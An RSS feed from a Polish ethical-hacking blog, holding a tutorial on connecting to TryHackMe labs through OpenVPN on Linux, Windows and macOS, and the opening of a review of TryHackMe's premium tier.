<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pentestuj</title>
	<atom:link href="https://pentestuj.pl/feed/" rel="self" type="application/rss+xml" />
	<link>https://pentestuj.pl/</link>
	<description>Poradniki dla etycznych hakerów.</description>
	<lastBuildDate>Thu, 16 Apr 2026 11:41:10 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://pentestuj.pl/wp-content/uploads/2026/04/cropped-favicon-32x32.png</url>
	<title>Pentestuj</title>
	<link>https://pentestuj.pl/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>TryHackMe &#8211; jak połączyć się przez OpenVPN</title>
		<link>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/</link>
					<comments>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 02 May 2025 06:00:24 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15956</guid>

					<description><![CDATA[<p>TryHackMe jest świetną platformą edukacyjną do podnoszenia swoich umiejętności w dziedzinie cyberbezpieczeństwa. Oprócz wiedzy teoretycznej możemy także nabyć praktycznych umiejętności. Sama korzystam z THM w wersji premium. Super opcją jest środowisko wirtualne tzw. AttackBox, które udostępnia THM. Jest to specjalnie skonfigurowana maszyna wirtualna, zawierająca wszystkie niezbędne narzędzia, które są potrzebne do rozwiązywania zadań na THM. [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/">TryHackMe &#8211; jak połączyć się przez OpenVPN</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><a href="https://tryhackme.com/" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a> jest świetną platformą edukacyjną do podnoszenia swoich umiejętności w dziedzinie cyberbezpieczeństwa. Oprócz wiedzy teoretycznej możemy także nabyć praktycznych umiejętności. Sama korzystam z THM w wersji premium. Super opcją jest środowisko wirtualne tzw. AttackBox, które udostępnia THM. Jest to specjalnie skonfigurowana maszyna wirtualna, zawierająca wszystkie niezbędne narzędzia, które są potrzebne do rozwiązywania zadań na THM. Jednak dużo wygodniej korzysta się z własnego środowiska, które jest skonfigurowane wedle naszych potrzeb. Na szczęście na THM jest taka możliwość. Możemy połączyć nasze środowisko poprzez OpenVPN. W poradniku tym pokażę Ci jak to zrobić na Linuxie, Windowsie i MacOS.</p>



<h2 class="wp-block-heading">AttackBox czy własne środowisko?</h2>



<p class="wp-block-paragraph">Podczas pracy na TryHackMe masz do wyboru dwie opcje: AttackBox lub konfigurację własnego środowiska za pomocą OpenVPN. Każde z tych rozwiązań ma swoje zalety i wady, które warto rozważyć.</p>



<p class="wp-block-paragraph">AttackBox jest to wirtualna maszyna, którą można uruchomić bezpośrednio w przeglądarce. Jest gotowa do pracy zaraz po aktywacji, co czyni ją doskonałym wyborem dla osób początkujących lub tych, które chcą szybko rozpocząć ćwiczenia. Główne zalety AttackBoxa to łatwość użycia oraz zintegrowany pakiet narzędzi. Po prostu otrzymujesz środowisko, które jest od razu gotowe do pracy.</p>



<p class="wp-block-paragraph">Jednak AttackBox ma swoje ograniczenia. W darmowej wersji dostęp jest ograniczony czasowo (1 godzina dziennie). Wirtualna maszyna w przeglądarce może działać wolniej w porównaniu do lokalnego środowiska, a także czasem się &#8222;wysypuje&#8221;.</p>



<p class="wp-block-paragraph">Skonfigurowanie własnego środowiska i podłączenie się do THM za pomocą OpenVPN pozwala na większą kontrolę nad pracą w labach. Ta opcja wymaga nieco więcej wysiłku na początku, ale dzięki temu masz:</p>



<ul class="wp-block-list">
<li><strong>nieograniczony dostęp</strong> – możesz korzystać z labów bez limitu czasowego,</li>



<li><strong>większą elastyczność</strong> – masz możliwość użycia ulubionego systemu operacyjnego (np. Kali Linux, Parrot Security OS, itd.) i dowolnych narzędzi<strong>,</strong></li>



<li><strong>lepszą wydajność</strong> – operacje są wykonywane na Twoim sprzęcie, co przyspiesza działanie.</li>
</ul>



<p class="wp-block-paragraph">Jeśli dopiero zaczynasz swoją przygodę z cyberbezpieczeństwem, AttackBox będzie prostszą i szybszą opcją. Natomiast jeżeli planujesz długoterminowe korzystanie z TryHackMe i chcesz uczyć się pracy w bardziej realnych warunkach, warto poświęcić swój czas na konfigurację własnego środowiska z OpenVPN.</p>



<h2 class="wp-block-heading">Jak połączyć się poprzez OpenVPN</h2>



<h3 class="wp-block-heading">Pobierz plik konfiguracyjny</h3>



<p class="wp-block-paragraph">Zaloguj się do swojego konta na <a href="https://tryhackme.com/r/login" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a>. Następnie kliknij na swój awatar, który znajduje się w prawym górnym rogu ekranu. Z rozwijanego menu wybierz <strong>Access</strong>.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png"><img fetchpriority="high" decoding="async" width="344" height="407" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png" alt="tryhackme openvpn" class="wp-image-15965" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png 344w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-254x300.png 254w" sizes="(max-width: 344px) 100vw, 344px" data-mwl-img-id="15965" /></a></figure>



<p class="wp-block-paragraph">Po przejściu na podstronę<strong> Access</strong>, upewnij się, że jest wybrana lokalizacja, która znajduje się najbliżej Ciebie:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21.png"><img decoding="async" width="1024" height="303" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-1024x303.png" alt="tryhackme openvpn" class="wp-image-15966" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-1024x303.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-300x89.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-768x227.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21.png 1316w" sizes="(max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15966" /></a></figure>



<p class="wp-block-paragraph">W przypadku zmiany lokalizacji serwera, po wybraniu odpowiedniej opcji, kliknij przycisk <strong>Regenerate</strong>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png"><img decoding="async" width="704" height="512" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png" alt="jak połączyć się poprzez OpenVPN" class="wp-image-15970" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png 704w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-300x218.png 300w" sizes="(max-width: 704px) 100vw, 704px" data-mwl-img-id="15970" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png"><img loading="lazy" decoding="async" width="658" height="395" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png" alt="jak połączyć się poprzez OpenVPN" class="wp-image-15969" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png 658w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2-300x180.png 300w" sizes="auto, (max-width: 658px) 100vw, 658px" data-mwl-img-id="15969" /></a></figure>



<p class="wp-block-paragraph">Następnie pobierz plik, klikając przycisk <strong>Download Configuration File</strong>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png"><img loading="lazy" decoding="async" width="658" height="395" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png" alt="" class="wp-image-15971" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png 658w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3-300x180.png 300w" sizes="auto, (max-width: 658px) 100vw, 658px" data-mwl-img-id="15971" /></a></figure>



<h3 class="wp-block-heading">Instalacja na Linuxie</h3>



<p class="wp-block-paragraph">Pokażę Ci jak skonfigurować połączenie na przykładzie systemu Kali Linux, który jest zainstalowany na maszynie wirtualnej VMware.</p>



<p class="wp-block-paragraph">W pierwszej kolejność upewnij się, że masz zainstalowany OpenVPN.</p>



<p class="has-white-color has-vivid-green-cyan-background-color has-text-color has-background has-link-color wp-elements-2 wp-block-paragraph">OpenVPN jest to otwartoźródłowy protokół VPN, który umożliwia tworzenie bezpiecznych połączeń typu site-to-site lub point-to-point, wykorzystując techniki wirtualnej sieci prywatnej. Dzięki OpenVPN możliwe jest szyfrowanie ruchu internetowego i tworzenie tuneli pomiędzy urządzeniem użytkownika a docelową siecią, co zapewnia prywatność i bezpieczeństwo danych przesyłanych przez Internet.<br><br>W kontekście  TryHackMe, OpenVPN umożliwia zdalne połączenie z siecią labów, a co za tym idzie uzyskuje się dostęp do środowisk, w których można wykonywać ćwiczenia praktyczne.<br><br>OpenVPN &#8211; dokumentacja Kali Linux: <a href="https://www.kali.org/tools/openvpn/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Jeśli chcesz sprawdzić, czy OpenVPN jest zainstalowany w Twoim systemie, wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">openvpn --version</code></pre>



<p class="wp-block-paragraph">Jeśli OpenVPN jest zainstalowane, zostanie wyświetlony numer wersji:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png"><img loading="lazy" decoding="async" width="957" height="683" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png" alt="OpenVPN Kali Linux THM" class="wp-image-15976" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png 957w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm-300x214.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm-768x548.png 768w" sizes="auto, (max-width: 957px) 100vw, 957px" data-mwl-img-id="15976" /></a></figure>



<p class="wp-block-paragraph">Poniższym poleceniem zainstalujesz OpenVPN:</p>



<pre class="wp-block-code"><code class="">sudo apt install openvpn</code></pre>



<p class="wp-block-paragraph">Teraz wystarczy włączyć plik konfiguracyjny, który pobrałaś/pobrałeś z THM z zakładki <strong>Access</strong>.</p>



<p class="wp-block-paragraph">Przejdź do katalogu w którym znajduje się pobrany plik. W moim przypadku plik ten znajduje się na pulpicie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png"><img loading="lazy" decoding="async" width="883" height="636" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png" alt="tryhackme instalacja openvpn" class="wp-image-15977" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png 883w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn-300x216.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn-768x553.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" data-mwl-img-id="15977" /></a></figure>



<p class="wp-block-paragraph">Następnie użyj poniższego polecenia, żeby nawiązać połączenie:</p>



<pre class="wp-block-code"><code class="">sudo openvpn nazwa_pobranego_pliku.ovpn</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png"><img loading="lazy" decoding="async" width="663" height="339" src="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png" alt="jak połączyć się poprzez openvpn na tryhackme" class="wp-image-15980" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png 663w, https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme-300x153.png 300w" sizes="auto, (max-width: 663px) 100vw, 663px" data-mwl-img-id="15980" /></a></figure>



<p class="wp-block-paragraph">Po kilku sekundach powinien pojawić się komunikat „Initialization Sequence Completed”:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme.png"><img loading="lazy" decoding="async" width="1024" height="503" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-1024x503.png" alt="jak skonfigurować openvpn na tryhackme" class="wp-image-15986" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-1024x503.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-300x147.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-768x377.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme.png 1086w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15986" /></a></figure>



<p class="wp-block-paragraph">Aby się upewnić, że połączenie zostało nawiązane, otwórz nową kartę w terminalu i wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">ifconfig</code></pre>



<p class="wp-block-paragraph">Powinien pojawić się interfejs tun:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="732" height="213" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2.png" alt="jak skonfigurować openvpn na tryhackme" class="wp-image-15985" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2.png 732w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2-300x87.png 300w" sizes="auto, (max-width: 732px) 100vw, 732px" data-mwl-img-id="15985" /></figure>



<h3 class="wp-block-heading">Instalacja na Windowsie</h3>



<p class="wp-block-paragraph">Ściągnij plik instalacyjny: <a href="https://openvpn.net/client/client-connect-vpn-for-windows/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Zainstaluj OpenVPN:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png"><img loading="lazy" decoding="async" width="504" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15992" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png 504w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-300x237.png 300w" sizes="auto, (max-width: 504px) 100vw, 504px" data-mwl-img-id="15992" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png"><img loading="lazy" decoding="async" width="502" height="394" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15993" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png 502w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2-300x235.png 300w" sizes="auto, (max-width: 502px) 100vw, 502px" data-mwl-img-id="15993" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png"><img loading="lazy" decoding="async" width="505" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png" alt="instalacja openvpn na windows" class="wp-image-15994" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png 505w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3-300x236.png 300w" sizes="auto, (max-width: 505px) 100vw, 505px" data-mwl-img-id="15994" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png"><img loading="lazy" decoding="async" width="499" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15991" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png 499w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows-300x239.png 300w" sizes="auto, (max-width: 499px) 100vw, 499px" data-mwl-img-id="15991" /></a></figure>



<p class="wp-block-paragraph">Po zainstalowaniu pojawi się okno w którym należy kliknąć <strong>CONNECT</strong>:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="406" height="692" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2.png" alt="windows openvpn THM" class="wp-image-15997" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2.png 406w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2-176x300.png 176w" sizes="auto, (max-width: 406px) 100vw, 406px" data-mwl-img-id="15997" /></figure>



<p class="wp-block-paragraph">Następnie wybierz plik .ovpn, który wcześniej ściągnęłaś/ściągnąłeś: <a href="https://tryhackme.com/r/access" target="_blank" rel="noreferrer noopener nofollow">https://tryhackme.com/r/access</a></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="408" height="695" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme.png" alt="windows openvpn THM" class="wp-image-15996" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme.png 408w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-176x300.png 176w" sizes="auto, (max-width: 408px) 100vw, 408px" data-mwl-img-id="15996" /></figure>



<p class="wp-block-paragraph">Połączenie powinno zostać nawiązane:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png"><img loading="lazy" decoding="async" width="409" height="696" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png" alt="windows openvpn tryhackme" class="wp-image-15998" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png 409w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3-176x300.png 176w" sizes="auto, (max-width: 409px) 100vw, 409px" data-mwl-img-id="15998" /></a></figure>



<h3 class="wp-block-heading">Instalacja na MacOS</h3>



<p class="wp-block-paragraph">Pobierz plik instalacyjny: <a href="https://openvpn.net/client/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Zainstaluj OpenVPN:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png"><img loading="lazy" decoding="async" width="626" height="457" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png" alt="instalacja openvpn na macos" class="wp-image-16001" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png 626w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1-300x219.png 300w" sizes="auto, (max-width: 626px) 100vw, 626px" data-mwl-img-id="16001" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png"><img loading="lazy" decoding="async" width="630" height="457" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png" alt="instalacja openvpn na macos" class="wp-image-16002" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png 630w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2-300x218.png 300w" sizes="auto, (max-width: 630px) 100vw, 630px" data-mwl-img-id="16002" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png"><img loading="lazy" decoding="async" width="628" height="455" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png" alt="instalacja openvpn na macos" class="wp-image-16003" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png 628w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3-300x217.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" data-mwl-img-id="16003" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png"><img loading="lazy" decoding="async" width="627" height="453" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png" alt="instalacja openvpn na macos" class="wp-image-16004" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png 627w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4-300x217.png 300w" sizes="auto, (max-width: 627px) 100vw, 627px" data-mwl-img-id="16004" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png"><img loading="lazy" decoding="async" width="631" height="454" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16005" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png 631w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5-300x216.png 300w" sizes="auto, (max-width: 631px) 100vw, 631px" data-mwl-img-id="16005" /></a></figure>



<p class="wp-block-paragraph">Po zainstalowaniu pojawi się okno w którym należy kliknąć <strong>CONNECT</strong>, następnie wybierz plik .ovpn, który ściągnęłaś/ściągnąłeś <a href="https://tryhackme.com/r/access" target="_blank" rel="noreferrer noopener nofollow">https://tryhackme.com/r/access</a>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png"><img loading="lazy" decoding="async" width="408" height="696" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16007" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png 408w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2-176x300.png 176w" sizes="auto, (max-width: 408px) 100vw, 408px" data-mwl-img-id="16007" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png"><img loading="lazy" decoding="async" width="409" height="694" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16008" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png 409w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3-177x300.png 177w" sizes="auto, (max-width: 409px) 100vw, 409px" data-mwl-img-id="16008" /></a></figure>



<p class="wp-block-paragraph">Połączenie powinno zostać nawiązane:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png"><img loading="lazy" decoding="async" width="410" height="699" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16009" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png 410w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4-176x300.png 176w" sizes="auto, (max-width: 410px) 100vw, 410px" data-mwl-img-id="16009" /></a></figure>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/">TryHackMe &#8211; jak połączyć się przez OpenVPN</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</title>
		<link>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/</link>
					<comments>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 25 Apr 2025 06:00:03 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15871</guid>

					<description><![CDATA[<p>W dzisiejszych czasach cyberbezpieczeństwo odgrywa kluczową rolę w ochronie naszych danych, systemów i prywatności. Coraz więcej osób, zarówno początkujących, jak i profesjonalistów, poszukuje skutecznych sposobów na naukę i rozwijanie swoich umiejętności. Dziedzina cyberbezpieczeństwa dynamicznie się zmienia, a zagrożenia stają się coraz bardziej wyrafinowane. Aby nadążyć za tymi zmianami i skutecznie chronić dane oraz systemy, niezbędne [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/">TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">W dzisiejszych czasach cyberbezpieczeństwo odgrywa kluczową rolę w ochronie naszych danych, systemów i prywatności. Coraz więcej osób, zarówno początkujących, jak i profesjonalistów, poszukuje skutecznych sposobów na naukę i rozwijanie swoich umiejętności. Dziedzina cyberbezpieczeństwa dynamicznie się zmienia, a zagrożenia stają się coraz bardziej wyrafinowane. Aby nadążyć za tymi zmianami i skutecznie chronić dane oraz systemy, niezbędne jest ciągłe doskonalenie swoich umiejętności. Jedną z najpopularniejszych platform edukacyjnych jest właśnie <a href="https://tryhackme.com" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a>. W artykule tym przedstawię swoją opinię jako użytkownika premium. Postaram się także odpowiedzieć na pytanie czy w ogóle warto wykupić płatną wersję.</p>



<h2 class="wp-block-heading">Czym jest TryHackMe</h2>



<p class="wp-block-paragraph">Większość tradycyjnych kursów online o tematyce cyberbezpieczeństwa zazwyczaj skupia się na teorii. Owszem jest to bardzo ważne, zwłaszcza na początku nauki. Jednak z czasem przychodzi taki moment, że trzeba wypróbować i przećwiczyć zdobytą wiedzę w praktyce. To właśnie dzięki ćwiczeniom praktycznym nasza wiedza staje się bardziej ugruntowana. <strong>Oczywiście nie wolno nam testować zabezpieczeń systemów do którym nie mamy uprawnień. </strong>Należy również pamiętać o tym, że jeśli nie mamy doświadczenia i nie wiemy co dokładnie robimy, możemy podczas testów trwale uszkodzić dany system. Niestety może wiązać się to z przykrymi konsekwencjami.</p>



